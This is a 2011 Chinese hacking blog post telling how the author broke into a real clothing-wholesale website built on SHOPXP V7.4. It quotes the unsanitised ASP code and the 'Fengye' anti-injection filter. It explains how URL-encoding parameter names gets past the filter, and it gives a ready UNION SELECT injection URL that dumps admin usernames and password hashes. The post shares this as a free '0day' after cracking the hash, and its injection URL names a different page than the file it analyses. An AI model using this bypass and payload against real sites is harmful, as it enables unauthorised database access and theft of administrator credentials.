您当前的位置:首页 > 最新文章/业内新闻

渗透某服装批发网站

时间:2011-06-07 10:46:17  来源:心芯文章  作者:心芯 QQ:31855347

下午在看网站,秒到了一个叫做“衣路狂奔服装批发网”,看了看源码,是SHOPXP的。

好叻,下载了整套SHOPXP,是V7.4应该比较新吧?反正不太了解……
找到了一段,问题文件:xpCatalog_xpDesc.asp,xpCatalog_xpsmall_Desc.asp
代码:
<%
dim shopxpbe_id, anclassname, shopxpse_id, nclassname
dim totalPut
dim CurrentPage, TotalPages
if request("shopxpbe_id")<>"" then
shopxpbe_id=request("shopxpbe_id")
else
shopxpbe_id=0
end if
if request("shopxpbe_id")="" then
shopxpbe_id=1
end if
if not isempty(request("page")) then
currentPage=cint(request("page"))
else
currentPage=1
end if
set rs=server.createobject("adodb.recordset")
rs.open "select * from shopxp_btype where shopxpbe_id="&shopxpbe_id,conn,1,1
anclassname=rs("shopxpbe_name")
rs.close
%>

并没有对shopxpbe_id进行整形判断。下面在说说他的防注入系统。好像是网上的枫叶防注入。看代码吧:
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 2 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Fy_Zx = "../" '出错时转向的页面
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
有戏唱咯……哈哈,关键是这句,Fy_Url=Request.ServerVariables("QUERY_STRING"),Request.ServerVariables得到的数据是原样的,并不会进行URL解码。这也就导致可以进行URL编码绕过这个防注入。以下是lake2对这段代码的分析:
“它的思路就是先获得提交的数据,以“&”为分界获得并处理name/value组,然后判断value里是否含有定义的关键字(这里为求简便,我只留下了“and”),有之,则为注射。
乍一看去,value被检查了,似乎没有问题。呵呵,是的,value不会有问题,可是,name呢?
它的name/value组值来自于Request.ServerVariables("QUERY_STRING"),呵呵,不好意思,这里出问题了。Request.ServerVariables("QUERY_STRING")是得到客户端提交的字符串,这里并不会自动转换url编码,哈哈,如果我们把name进行url编码再提交的话,呵呵,那就可以绕过检查了。比如参数是ph4nt0m=lake2 and lis0,此时程序能够检测到;如果提交%50h4nt0m=lake2 and lis0(对p进行url编码),程序就会去判断%50h4nt0m的值,而%50h4nt0m会被转换为ph4nt0m,所以%50h4nt0m值为空,于是就绕过了检测。
再下一步,构造注入语句:/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin
好了,轻松爆出账号和MD5加密的密码…
注意:关于注入语句怎么样构造,很早之前就有大牛写出了and 1=1 union select 1,2,4,4,5,6,7,8,9 from admin
至于怎么再利用,自己去看我写的详解手工注入的文章。我不愿意再详细解释了。

晕,MD5是付费的……算鸟,点到为止吧,这个0DAY送给朋友们分享……
后续(在和尚"大牛"的帮助下,破了MD5。站没搞了,继续做事……)
---------------------------------------------------------------------------------------------------------
不知道哪个2B的,在我发布0day后搞了这个测试的站,现在已经打不开了,我日。提醒各位,0day是研究的,不是跟着别人后面去黑站的,要是这样,我以后就不写0 day了。

来顶一下
近回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
网页防篡改核心技术探讨(一)静态页面(原创)
网页防篡改核心技术探
Discuz! X2 SQL注射漏洞,支持Union
Discuz! X2 SQL注射漏
关于千博CMS系统
关于千博CMS系统
什么是robots.txt要怎么写?
什么是robots.txt要怎
相关文章
    无相关信息
栏目更新
栏目热门